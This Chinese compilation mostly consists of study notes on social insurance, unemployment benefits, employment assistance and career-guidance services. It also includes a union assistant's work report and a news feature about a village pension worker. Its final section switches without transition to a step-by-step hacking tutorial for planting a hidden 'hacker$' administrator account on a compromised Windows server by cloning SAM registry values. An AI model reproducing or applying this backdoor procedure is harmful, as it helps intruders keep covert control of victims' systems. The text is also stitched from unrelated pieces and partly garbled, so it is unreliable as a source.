*停止领取失业保险金，并同时停止享受其他失业保险待遇：重新就业的；应征服兵役的，移居境外的；享受基本养老保险待遇的；报盘行首兼执行或者被劳动教养的；无正当理由，拒不接受当地人民政府指定的部门或者机构介绍的工作的；有法律规定的其他情形的。*失业保险金应按月发放
一是达到法定退休年龄，并已办理退休手续；二是个人缴费至少满15年（过渡期内缴费限包括视同缴费年限）。目前，我国企业职工的法定退休年龄为男职工60岁；从事管理和科研工作的女职工55岁；从事生产和工勤辅助工作的女职工50岁
4、待遇支付
基本医疗保险的有关规定 覆盖范围
基金筹集和管理
基本医疗保险费由单位和职工共同负担。用人单位缴费率控制在工资总额的6%左右，职工个人缴费比例一般为本人工资的2%
待遇支付
基本医疗保险统筹基金和个人账户的支付范围和支付办法不同，实行分别核算，不得互相挤占。统筹基金主要用于支付大额和住院医疗费用，个人账户主要用于支付小额和门诊医疗费用。失业保险的有关规定 覆盖范围
基金筹集和管理
失业保险基金主要由单位、职工缴纳的失业保险费和财政补贴构成。城镇企业事业单位按照本单位工资总额的2%、职工按照本人工资的1%缴纳失业保险费
3、待遇支付
享受失业保险待遇的条件
按照规定参加失业保险，所在单位及本人履行缴费义务已满一年。非因本人意愿中断就业。
已办理失业登记并有求职要求 待遇标准
具体规定为累计缴费时间满1年不足5年的，领取期限最长为12个月；累计缴费时间满5年不足10年的，领取期限最长为18个月；累计缴费时间10年以上的，领取期限最长为24个月。工伤保险的有关规定 覆盖范围
基金筹集和管理
（职工个人不缴纳工伤保险）待遇支付
工伤认定是工伤职工享受待遇的前提。工伤认定主要涉及两个方面内容，一是存在劳动关系，二是符合工伤范围。在认定为工伤的基础上，劳动能力障碍分为十个伤残等级，生活自理障碍分为三个等级。工伤保险待遇包括医疗康复待遇、伤残待遇和死亡待遇三类。生育保险的有关规定
覆盖范围（生育保险的实施范围为城镇企业及其职工）基金筹集 参保企业缴费比例由当地人民政府确定，但最高不得超过企业职工工资总额的1%，职工个人不缴费
待遇支付（参保职工依法享受生育津贴和生育医疗服务）
就业援助
就业援助对象的认定 就业援助对象的范围
就业援助对象包括就业困难人员和零就业家庭。
就业困难人员是指因身体状况、技能水平、家庭因素、失去土地等原因难以实现就业，以及连续就业一定时间仍未能实现就业的人员。（因身体状况导致就业困难的人员，通常指4050人员）
零就业家庭是指法定劳动年龄内的家庭人员均处于失业状态的城市居民家庭
就业援助对象的认定程序
做好就业困难人员申报登记，是工作流程便捷，方便广大群众，做到随时申报、随时登记、随时认定、随时援助，是认定工作的主要工作要求。
一般来讲，就业困难对象认定应遵循个人（家庭）申请，社区公示、核查，街道（乡镇）初审、县（区）劳动保障部门认定的工作程序。
就业援助方法及途径 就业援助方法及途径 就业援助方法
就业援助方法主要有政策援助法、岗位援助法、培训援助法、就业服务援助法。就业援助途经
政策援助的途径主要是通过政策扶持，鼓励和引导用人单位吸纳安置就业援助对象，以及灵活就业。公益性岗位的有关规定 公益性岗位的概念
公益性岗位的指主要由政府作为出资主体，扶持或通过社会筹集资金开发的，以安置就业困难人员为主，符合社会公共利益需要的服务性岗位和协助管理岗位。公益性岗位开发的原则
内容：凡有公益性岗位需求的机关事业单位、街道、乡镇和社区，及时向省、市上报开发计划，内容包括申报事由、岗位名称、岗位数量、工作内容、上岗条件、工资待遇等情况。公益性岗位设岗定员整体应遵循因事设岗、以岗定人、按需定员、总量控制、工作量满负荷、岗位不交叉不重复、岗位数量限额的原则，因科学安排，充分发挥公益性岗位作用。
就业援助的动态管理 就业援助的概念
就业援助是指公共就业服务机构通过贯彻落实国家法律、法规和党和政府各项促进就业政策对就业困难人员实施就业服务等方面的具体帮助，帮助他们实现就业，一次达到增加家庭劳动收入，摆脱贫困的目的。就业援助的特点
就业援助一般有以下特点：一是强调国家对就业困难人员的负责。二是必须通过一定的认定程序，确定就业援助对象。三是就业援助对象是依靠自身努力，仍难实现就业，属于生活相对比较贫困的人员。四是个人申请是就业援助的必要条件。
职业指导和职业介绍服务 常见就业观念的表现形式 从众的就业观念
一次就业定终身的就业观念 盲目攀高的就业观念
只肯去正规部门的就业观念 等饭碗的就业观念
职业指导的原则、内容和方法 职业指导的原则 科学性原则 政策性原则
主体性原则（重点）
求职者是职业指导过程的主体，要自觉维护和尊重求职者的主体地位。在职业指导工作中进行帮助、启发，目的是增强求职者的主体能力，只有求职者的就业能力真正增强了，才能说明职业指导的效果。疏导性原则
求职者因各种原因，在就业心理、就业观念方面存在一定的障碍或误区，劳动保障协理员要耐心的进行说服、疏导，不能高高在上，以教育者自居，伤害求职者的自尊心。实效性原则
职业指导的内容
向劳动者和用人单位提供国家有关劳动保障的法律法规和政策、人力资源市场状况咨询。
帮助劳动者了解职业状况，掌握求职方法，确定职业方向，增强择业能力。向劳动者提出培训建议，为其提供职业培训相关信息。
开展对劳动者个人职业素质和特点的测试，并对其职业能力进行评价。
对妇女、残疾人、少数民族人员及退出现役的军人等就业群体提供专门的职业指导服务。
对大中专学校、职业院校、技工学校学生的职业指导工作提供咨询和服务。对准备从事个体劳动或开办私营企业的劳动者提供创业咨询服务。
为用人单位提供选择招聘方法、确定用人条件和标准等方面的招聘用人指导 为职业培训机构确立培训方向和专业设置等提供咨询参考 职业指导的方法 一对一指导
两人以上或群体指导 用人单位用工指导
详细了解用人单位情况 向用人单位介绍用人规范 帮助用人单位确定用人标准 指导用人单位拟定招聘简章
职业供求信息采集的途径和方法 职业供求信息采集的原则
职业供求信息采集的原则有： 真实性原则 准确性原则 完整性原则 简明性原则 时效性原则
职业供求信息的获取途径及其主要特点 通过服务场所获取职业供求信息 开展用工、求职登记获取信息 举办用工洽谈会获取信息
通过服务场所获取职业供求信息的特点 通过外联方式获取职业供求信息 通过联系辖区用人单位获取信息 通过联系辖区改制企业获取信息
通过人力资源市场信息网络获取信息 通过新闻媒体获取信息
通过外联方式获取职业供求信息的特点 社区传递用工需求信息的方式与内容 社区用工需求信息传递的方式
利用新闻媒体或社区用工信息栏。通过召开座谈会
利用人力资源信息网络
通过黑板报、海报、招用工通知或其他书面形式。
社区工作人员利用社区电子显示屏、电子触摸屏等工具。社区工作人员上门送信息。用电话或手机短信等形式 其他形式
社区用工需求信息传递的内容
社区用工需求信息传递的主要内容包括求职者和用人单位的基本情况、岗位类别、人员数量、工作待遇、劳动合同期限、招聘时限以及联系地址、邮政编码、联系电话、联系人等。
社区进行信息发布的程序
社区应按照发布职业供求信息发布的最基本要求，设置社区用工信息栏，社区电子显示屏、电子触摸屏等，要有供召开座谈会和张贴海报及招用工通知书的场所。根据不同的职业供求信息，经过调查研究、分析比较、成本核算，分别确定不同的信息发布媒体。
把职业供求信息整理、总结、打印，分别符合不同媒体发布需要。确定信息发布的日期、时间、地点或参加人员。信息发布
注意收集反馈意见，使职业供求信息发布概不脱离实际需要，又能及时修正补充。
职业介绍
职业介绍服务的主要内容
对求职者求职和用人单位招聘进行登记。
为求职者提供置业需求信息，推荐就业岗位。为用人单位提供人力资源信息，推荐求职者。
为求职者求职和用人单位招聘提供职业指导和职业咨询服务。向职业培训机构提供职业需求信息，推荐有培训意愿的求职者
为就业困难人员或其他特殊就业群体提供专门的职业介绍和推荐就业服务。建立人力资源基础信息数据库，开展职业供求状况预测和预报。开展职业介绍服务的基本要求
一是 为求职者提供求职途径、基本求职方法、相关表格及简历的填写、面试注意事项等职业指导，同时提供本地区职业供求现状与发展趋势分析、就业岗位信息、职业技能培训、相关劳动就业政策的咨询服务。
二是 在求职者进行求职登记后，建立求职者求职档案，录入人力资源市场信息库，为用人单位招聘提供求职者基本信息。
三是 在求职者基本信息进入人力资源信息库后，建立求职者“跟踪指导档案”或相关的跟踪指导记录，实施必要的跟踪指导与即时服务。通过求职者提供的联系方式，定期为其提供一定数量的就业岗位信息。
四是 为求职者提供一定时间的跟踪服务后，求职者仍未实现就业的，劳动保障协理员应及时与求职者取得联系，要求求职者本人再次进行求职登记，并重新提供服务。
五是 劳动保障协理员要有高度的服务意识，掌握各项劳动就业政策和人力资源市场职业供求信息，熟知用人单位的一般用人条件和需求。
六是 随时与用人单位和求职者保持联系，了解用人单位的就业岗位信息、求职者的就业状况，并及时调整和更新数据库、信息栏、信息发布电子设施的内容。职业介绍服务规程 职业介绍服务标准 职业介绍服务范围 职业介绍服务程序
对就业困难求职人员的服务程序
社区职业介绍工作的程序 接待登记 提供信息 职业指导 信息发布
推荐就业和招聘
求职与用工登记的工作流程 求职登记的工作流程 门市接待
了解求职者基本情况 求职者填写求职登记表 求职者登记内容
用人单位用工登记的工作流程 门市接待
了解用人单位基本情况 用人单位填写招聘登记表 用人单位用工登记
组织求职和用人面谈基本程序 与求职者面谈的基本程序 收集信息 确定需求 介绍就业
推荐相关服务 再次面谈
与用人单位面谈的基本程序 了解情况 确定需求 推荐用人
推荐相关服务 再次面谈
跟踪服务的工作程序
对用人单位的跟踪服务主要了解用人单位通过职业介绍后，满足其人员招用状况的具体情况。
对求职者的跟踪服务主要了解求职者通过面谈或推荐就业后是否选择成功。工作程序 电话联系 现场面谈 查验指导 回执处理
职业培训服务
职业培训与创业培训 职业培训的概念和体系 职业培训的概念
职业培训是指依法开展的对劳动者进行职业知识与实际操作技能培养与训练的活动，目的是促进劳动者提高职业技能，增强就业能力和创业能力。职业培训的体系
职业培训体系是指实施职业培训活动的机构及机构之间的相互关系。职业培训的种类
职业培训的种类包括就业前培训、在职培训、再就业培训、创业培训。依据职业技能标准，培训的层次又分为初级、中级、高级职业培训和其他适应性培训。
职业培训的主要内容和方法 职业培训的主要内容
基本素质培训包括文化知识、道德知识、法律知识、公共关系与社会知识、生产知识与技能。
职业知识培训包括职业基础知识、职业指导、劳动知识与保护知识、社会保险知识等。
专业知识与技能培训包括专业理论、专业技能和专业实习。
2、职业培训的方法
（1）以实习教学为主，突出技能培训，强化职业能力培养的方法。
（2）按照国家职业标准，以典型职业活动和标准化工作流程为主线，以完成职业任务为重要内容，以培养职业能力为目的的传授相关理论知识的方法，使学员达到“应知”要求。
（3）开展职业指导，通过宣传就业政策，分析就业形势，提供职业需求、岗位变化信息和穿上求职技巧等方法，帮助学员更新就业观念，增强竞争就业信心，促进其稳定就业或实现就业。
三、创业培训的主要内容和方法
1、创业培训的主要内容
按照培养目标的不同，分为“产生您的创业构思”（GYB）、“创办您的企业”（SYB）、“改善您的企业”（IYB）、“扩大您的企业”（EYB）四类。
主要内容：（1）创业意识培训
（2）创业计划的培训
2、创业培训的方法
（1）专业教师授课
（2）专家专题讲座
（3）组织教学答疑
（4）企业家现身说法
（5）实地参观考察
（6）实例分析 政府补贴的主要项目
失业人员职业培训和创业培训、农村劳动力转移培训及进城务工劳动者职业培训和初次职业技能鉴定、就业困难人员初次职业技能鉴定。
组织推荐培训服务流程 四个步骤：开展培训需求调查 → 组织推荐培训 → 培训情况反馈 → 提供就业服务
职业培训机构的选择
职业培训机构的类型包括：就业前培训、在职培训、再就业培训和创业培训。职业技能鉴定的对象
国家规定的从事涉及公共安全、人身健康、生命财产安全等特殊工种的人员。各类职业培训机构组织职业技术工种（专业）培训的毕（结）业人员。需晋升职业资格等级的人员。
需转岗、转业的职业技术工种（专业）人员 职业资格的等级：
国家职业资格等级由低到高分为五级，分别是国家职业资格五级（初级）、国家职业资格四级（中级）、国家职业资格三级（高级）、国家职业资格二级（技师）、国家职业资格一级（高级技师）。
职业资格证书的概念
职业资格证书是表明劳动者具有从事某一职业所必须具备的学识和技能证明。退休人员社会化管理服务 建立健康档案
健康档案的内容和建立方式（重点）
健康档案在内容上分为三个部分，即个人健康档案、家庭健康档案和社区健康档案。
个人健康档案的主要内容包括：个人的基本资料、健康问题目录、病情流程表、问题描述及进展记录、转会诊和住院记录、预防性记录慢性病病人随访记录、化验机辅助检查记录。
家庭健康档案的主要内容包括：家庭的基本资料、家系图、家庭评估资料、家庭主要问题目录、问题描述和家庭各成员的个人健康档案。
社区健康档案的主要内容包括：社区基本资料、社区卫生资源、社区卫生服务状况、社区的健康状况。
社区卫生服务机构的概念（重点）
社区服务机构是指在城市范围内设置的、经区（市、县）级政府卫生行政部门登记注册并取得医疗机构执业许可证的社区服务中心和社区服务站。社区卫生服务机构提供以下公共卫生服务：（重点）卫生信息管理。健康教育。
传染病、地方病、寄生虫病预防控制。慢性病预防控制。精神卫生服务。妇女保健。儿童保健。老年保健。
残疾康复指导和康复训练。
计划生育技术咨询指导，发放避孕药具。协助处置辖区内的突发公共卫生事件。
政府卫生行政部门规定的其他公共卫生呢个服务。
社区卫生服务机构提供以下基本医疗服务：一般常见病、多发病诊疗、护理和诊断明确的慢性病治疗；社区现场应急救护；家庭出诊、家庭护理、家庭病床等家庭医疗服务；转诊服务；康复医疗服务；政府卫生行政部门批准的其他适应医疗服务。
特殊群体的管理服务
最低生活保障线的主要内容
最低生活保障线的概念（重点）城市居民最低生活保障标准，又称为城市居民最低生活保障线，是国家为救济社会成员中收入难以维持其基本生活需求的人口而制定的一种社会救济标准。最低生活保障标准是城市居民最低生活保障制度中最基本的内容。最低生活保障线的性质
一是科学性
二是统一性
三是权威性
3、最低生活保障线的特点
（1）获取最低生活保障是公民的一项基本权利。
（2）最低生活保障制度是在公民由于社会的或个人的、生理的或心理的原因致使其收入低于最低生活保障线因而陷入生活困境时发挥作用。
（3）最低生活保障制度提供的仅仅的满足最低生活需求的资金或实物。
特殊群体分类 高龄 孤寡 重病 特困
新中国成立前参加工作
劳模:为特殊群体提供服务的有关规定
发挥自身优势，为退休人员特别是为高龄、孤寡、病残等生活困难的退休人员提供义务服务，在维护退休人员合法权益方面发挥积极作用。丧葬事务的有关规定
一般地区向退休人员提供的丧葬事务服务主要指为其配偶、子女申领丧葬补贴金和溃属津贴。退休人员死亡，其家属可申领丧葬补助费和遗属津贴。第三章 承办、协办就业和社会保险具体事务 第一节 就业服务具体事务
年满16周岁，从各类学校毕业、业的。
从企业、机关、事业单位等各类用人单位失业的。个体工商业主、私营企业主停业、破产停止经营的。承包土地被征用，符合当地规定条件的。军人退出现役、且未纳入国家统一安置的。
刑满释放、假释、监外执行或解除劳动教养的。各地确定的其他失业人员。失业登记的主要内容
包括：姓名、性别、民族、出身年月、政治面貌、身份证号码、文化程度、职称、人员类别、现住址、邮编、户口所在地、户口性质、婚姻状况、健康状况、专长、技能培训情况、失业时间和原因、原工作单位、择业要求、联系电话或联系人电话等。
失业登记的地点
没有就业经历的城镇户籍人员在户籍所在地登记；农村进城务工人员和其他非本地户籍人员在常住地稳定就业满6各月的，失业后可以在常住地登记。就业登记的对象是进行了失业登记后，通过各种形式实现就业并取得劳动报酬或生产经营收入的人员。包括被各类用人单位招用建立劳动关系的人员，从事个体经营、自谋职业和灵活就业的人员等。就业登记的主要内容
各类用人单位办理录用备案
从事个体经营、自谋职业和灵活就业的就业登记
主要包括劳动者个人信息、就业类型、就业时间、就业单位以及参加社会保险状况，并应填写就业人员登记表。
就业优惠有关凭证的发放 就业失业登记证
内容：在法定劳动年龄内，有劳动能力和就业要求的失业人员，在公共就业服务机构进行失业登记的，应当办理就业失业登记证。
切实做好就业优惠凭证的管理
再就业优惠证、就业失业登记证都采用实名制，先持证者本人使用。受理个人小额担保贷款申请
个人小额担保贷款的政策对象范围
由中央财政提供贴息和担保资金支持的小额担保贷款借款人
由地方财政提供贷款贴息和担保资金支持的小额担保贷款借款人 贷款额度和期限
个人小额担保贷款额度由2005年时规定的一般掌握在2万元，增加到2008年新政策规定的最高额度为5万元。期限最长不超过2年，到期确需延长的，可展期一次，展期期限不能超过一年。对合作经营和组织起来就业的，可根据人数和经营项目扩大贷款规模。贷款用途
借款人应将贷款用于自谋职业、自主创业或合作经营和组织起来就业的开办经费和流动资金。
贷款贴息和项目范围
种类：贷款贴息根据对象的布同分为全额贴息和半额贴息。个人小额担保贷款的申请、发放程序
申请小额贷款需提交的基本资料（重点）
持再就业优惠证人员需提供再就业优惠证原件及复印件，复员转业退役军人需提供军人退出现役有效证件原件及复印件，失业登记的高校毕业生需持毕业证书原件及复印件，登记失业人员需持相应的有效失业证明，就业困难人员需持相应的证明。贷款申请书。
申请人户口薄、身份证原件及复印件。贷款项目计划书
工商部门登记注册的营业执照或其他行政部门颁发的许可证明及复印件 其他资料
申请发放程序 贷款申请与推荐 贷款资格审查 项目评审 贷款发放
第二节 承办、协办社会保险具体事务 社会保险经办业务程序 社会保险经办工作的主体 社会保险经办工作的主体是：依法履行社会保险义务和依法享有社会保险权利的自然人和组织及依法履行社会保险管理责任的机构。
用人单位，指城镇各类企业、机关事业单位、社会团体、雇佣员工的城镇经济组织。
劳动者，指所有参加社会保险的企业职工、机关事业单位工作人员、城镇个体劳动者、自由职业者和灵活就业人员。社会保险经办机构，指依法或受政府行政部门委托经办社会保险业务的社会保险经办机构。
社会保险关系的建立: 社会保险登记是用人单位、职工个人与社会保险经办机构建立社会保险关系的标志。社会保险关系的转移和接续
一是用人单位社会保险关系的转移。又转入地社会保险经办机构负责接续其社会保险关系。
二是个人社会保险关系的转移 社会保险关系的终止
缴费单位发生解散、破产、撤销、合并及其他形式，停止履行社会缴费义务时，应及时向社会保险登记机构申请办理注销社会保险登记，同时终止该单位与社会保险经办机构的社会保险关系。
对劳动者个人来说，死亡或一次性领取有关待遇后或者出国定居，社会保险关系即行终止。
社会保险经办工作环节（重点）缴费核定环节 费用征集环节
费用记录处理环节 待遇核定环节 待遇支付环节
基金会计核算及财务管理环节
灵活就业人员参加养老保险有关政策 缴费方式
灵活方式就业的人员，在其参加养老保险后，按照省级政府规定的缴费基数和比例，一般应按月缴纳养老保险费，也可按季、半年、合并缴纳养老保险费；缴费时间可累积计算。缴费基数及比例
灵活就业人员参加基本养老保险的缴费基数为当地上在岗职工平均工资，缴费比例为20%，其中8%记入个人账户，退休后按企业职工基本养老金计发办法计发基本养老金。
退休条件
在男年满60周岁、女年满55周岁时，累计缴费年限满15年的，可按规定领取基本养老金。城镇居民参加基本医疗保险 参保范围
不属于城镇职工基本医疗保险制度覆盖范围的中小学记得的学生（包括职业高中、中专、技校学生）、少年儿童和其他非从业城镇居民都可自愿参加城镇居民基本医疗保险。
城镇居民医疗保险有关政策规定 筹资水平缴费和补助 费用支付
办理养老金和遗嘱津贴领取资格认证手续的有关规定 2003年中办发16号文件明确提出，街道社区劳动保障工作平台具有工作了解企业退休人员状况，协助社会保险经办机构进行领取养老金资格认证的工作内容。异地居住退休人员领取养老金资格认证办法
1、在国内居住异地退休人员领取养老金资格认证办法
（1）范围:异地居住退休人员是指已参加基本养老保险、退休后居住在菲养老保险关系所在地的人员。（2）职责:社会保险经办机构负责对所辖地区异地居住退休人员的资格协助认证工作进行管理和指导。
2010年9月我参加工会协理员的选拔考试，经过激烈的笔试和严格的面试后，我有幸加入到了工会协理员的行列。通过上岗前的自我学习和上岗后的系统学习，以及我实际工作中的接触和了解，我对协理员的工作有了一个全面而系统的认识，对未来工作中也有了更清楚的目标。
一、完成的主要工作
1、在10月16日参加了市总工会在经济开发区松滋市工资集体协商推介暨工会协理员上岗工作会。在这次会上，学习了市委副书记、市总工会主席黄镇书记的讲话；对工资集体协商工作的基本情况有了深入的了解。在随后召开的工会协理员上岗工作会上，对协理员的基本工作内容也有了系统的了解。会上与市总工会党组书记、常务副主席李选安签订了劳动合同，正式成为了一名工会协理员。
2、工资集体协商专项合同和劳动安全卫生专项集体合同的签订。作为一名新上岗的工会协理员，有三个月的试用期，以此来考察个人的能力和工作完成情况，我首先被分配的到工作任务就是完成所在乡镇的工资集体协商专项合同的签订，并根据合同签订情况来评价试用期的工作状况。我所在的新江口镇工会，分配到的任务是完成8家企业的合同签订。首先，在新江口镇工会主席樊启香的主持下，同各个社区书记召开了基层工会主席会，并安排了相关工作部署，让基层社区对工资集体
协商的重要性有了初步的了解。其次，由于对辖区内企业的具体情况还不是特别了解，所以在樊主席的带领下，走访了相关企业进行合同的签订工作，其中包括高阳新型墙材有限公司、王海燕骨科诊所、九州通医药集团松滋有限公司等。最后，通过各个社区对辖区内企业的工会组织统计情况的了解，基本顺利完成工资集体协商专项合同的签订，达到分配要求的数量。
3、参加荆州市总工会组织的工会协理员上岗培训。11月16-17日，和荆州市各个县市的工会协理员一起到荆州市总工会参加了统一组织的上岗培训，课堂老师由荆州市总工会各个部门的在职领导担任，培训主要内容包括工会组织建设、女职工特殊权益保护、群众性经济技术创新工作等。为期两天的培训虽然简短，但凝聚的都是市总工会领导干部工作总结的精华。通过这次培训，我对工会以及工会协理员的工作有了一个更全面深刻的认识，工会协理员并不只是一个只会听从领导安排做事的职位，在实际的工作中也可以发挥创造性，也可以充分发挥自己的能力，发挥工作上的自主性，把工作完成的更出色。
二、今后的工作目标
1、进一步掌握工会工作任务，加强对企业经营者依法建立工会组织的必要性的宣传教育；向广大职工宣传加入工会的权利和义务。
2、进一步掌握辖区内经济组织情况和工会组建情况，协助工会做好未建会非公企业工会的组建工作。
3、更好的协助工会做好会员入会工作，最大限度的把辖区内与企业形式劳动关系的，以工资收入为主要生活来源的劳动者，包括进城务工人员吸纳到工会组织中来
4、进一步加强工会信息的报送工作，及时将收集、采写、整理的工会信息向上级报送，为丰富和完善工会信息工作贡献自己的力量。
2011年,新农保参保工作在九都镇展开。在外行人看来,新农保的工作无非就是参保缴费这么简单。外行看热闹,内行看门道,具体经办的都明白,做群众工作不仅需要十二分的耐心,更要有合适的方法。新农保工作不仅要面对新参保对象,还要做好新老农保的接续工作,工作看似简单却深有门道。因此,协理员工作岗位虽小但要求却高,不仅要精通业务,还能登记办理,更要懂得将政策宣传到位。
初见徐品林时,他正在村部的办公室里为村民办理业务。通过简短的交流,记者很难将不善言辞的他同协理员联系到一起。
九都镇劳动保障所所长陈恒生告诉记者,为了做好城乡保的参保缴费工作,蕉城区城乡居民保中心特别重视协理员的选拔,为此特地组织了协理员的选拔工作,徐品林是自愿报名参加镇里的协理员选拔的。起初大家还有疑虑,平时老实内向的徐品林怎么能做好协理员工作?抱着试一试的想法,就让他参加了选拔考试。但令人意外的是,徐品林的成绩相当优异,基础知识相当牢固。让陈恒生所长印象更深刻的是,徐品林曾对其说过,“城居保是让农民老有所养的好事,好事就一定要办好”。这句朴实无华的话让陈所长颇为感动。正是凭着这股信念,徐品林始终兢兢业业地在平凡的岗位上奉献自己的力量。
宣传、登记、收费,这看似简单的工作,在徐品林接手初期却遇到了挑战。村民不理解,不搭理,不配合。宣传没渠道、没方法、没创新。面对一系列的问题,徐品林始终坚信一条路走到尽头就一定会有收获。就这样,他坚定要把简单的事做到极致,严格要求自己将工作做到位做到重点上。
自知自己口才不佳,不善言辞。徐品林把身边的朋友亲戚作为突破口,在日常生活往来中一点点渗透宣传新农保政策。渐渐地徐品林找到了工作要点,在亲戚朋友那积累了经验,为他的工作提供了可以借鉴的窍门。他发现如果简单粗暴地上门宣传很容易让人产生抵触情绪,只有在日常生活中润物细无声般的宣传才是最佳途径。
于是纳凉聊天的人群,田间地头农忙的村民,村里放电影的广场都是他工作的重点。徐品林对记者说道:“因为有了之前失败的教训,以及结合我自己的一些经验,我明白同村民们打交道一定要建立起信任,并让大家对新农保感兴趣。于是最开始,我先从村里人群最集中的小卖部开始,加入他们的聊天,先和他们聊一下他们感兴趣的话题,让大家把我当朋友的时候,我再把信息传递给大家。于是大家就表示出了兴趣,开始咨询我一些问题,‘这是什么保险,需要交很多钱吗,是公家的保险么,以后钱怎么兑现,有没有保证?’我的宣传工作就自然完成了一半。接下来,再借助村里的广播,以及印制的宣传单,让城乡居民保的政策更深入人心。”
宣传到位,只是工作的开始。为了保证信息的准确性,徐品林坚持所有的登记表格一律由自己填写,并认真核对每个参保对象的身份信息,生怕出了差错影响参保的待遇领取。对于一些文化程度较低的村民,徐品林则会耐心地把登记表里的每项内容都做一遍详细的说明,保证做到不漏填不乱填,让村民知情明了。
正是对工作的严格要求,徐品林提交给相关业务部门的材料从来没有出现过差错。
虽然追求完美的工作态度保证了工作质量,但参保率的提升也是不小的挑战。于是,如何创新工作,如何进一步提高参保率,徐品林又下足了工夫。
首先是工作渠道的拓展,在农忙时节,如果白天往村民家里跑大多都是大门紧闭。徐品林不愿放弃白天这宝贵的时间,于是他干脆在村里的主干道上设起了宣传点,带上表格和宣传册,再备点免费的茶水为村民提供服务,晚上则带上公文包移动办公。就这样,“白+黑”的工作模式让参保面越来越广。不仅如此,徐品林还通过电话沟通、快递资料及QQ网上传送扫描件等方式为外出打工的村民办理业务,既创新了工作方法还拓展了工作渠道。
具体步骤如下：
(1)假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的，首先在命令行下或账户管理器中建立一个账户：hacker$，这里我在命令行下建立这个账户：net user hacker$Content$nbsp;1234 /add。
(2)在“开始/运行”中输入：regedt32.exe并回车来运行regedt32.exe。
(3)点“权限”以后会弹出窗口，点添加将我登录时的账户添加到安全栏内，这里我是以administrator的身份登录的，所以我就将administrator加入，并设置权限为“完全控制”。这里需要说明一下：最好是添加你登录的账户或账户所在的组，切莫修改原有的账户或组，否则将会带来一系列不必要的问题。等隐藏超级用户建好以后，再来这里将你添加的账户删除即可。
(4)再点“开始”→“运行”并输入“regedit.exe” 回车，启动注册表编辑器regedit.exe。 打开键：HKEY_LOCAL_MAICHINESAMSA
MDomainsaccountusernameshacker$。
(5)将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg，用记事本分别把这几个导出的文件进行编辑，将超级用户对应的项000001F4下的键“F”的值复制，并覆盖hacker$对应的项00000409下的键“F”的值,然后再将00000409.reg与hacker.reg合并。
(6)在命令行下执行“net user hacker$Content$nbsp;/del”将用户hacker$删除。
(7)在regedit.exe的窗口内按F5刷新，然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可。
(8)到此，隐藏的超级用户hacker$已经建好了，然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINESAMSAM键权限改回原来的样子（只要删除添加的账户administrator即可）。
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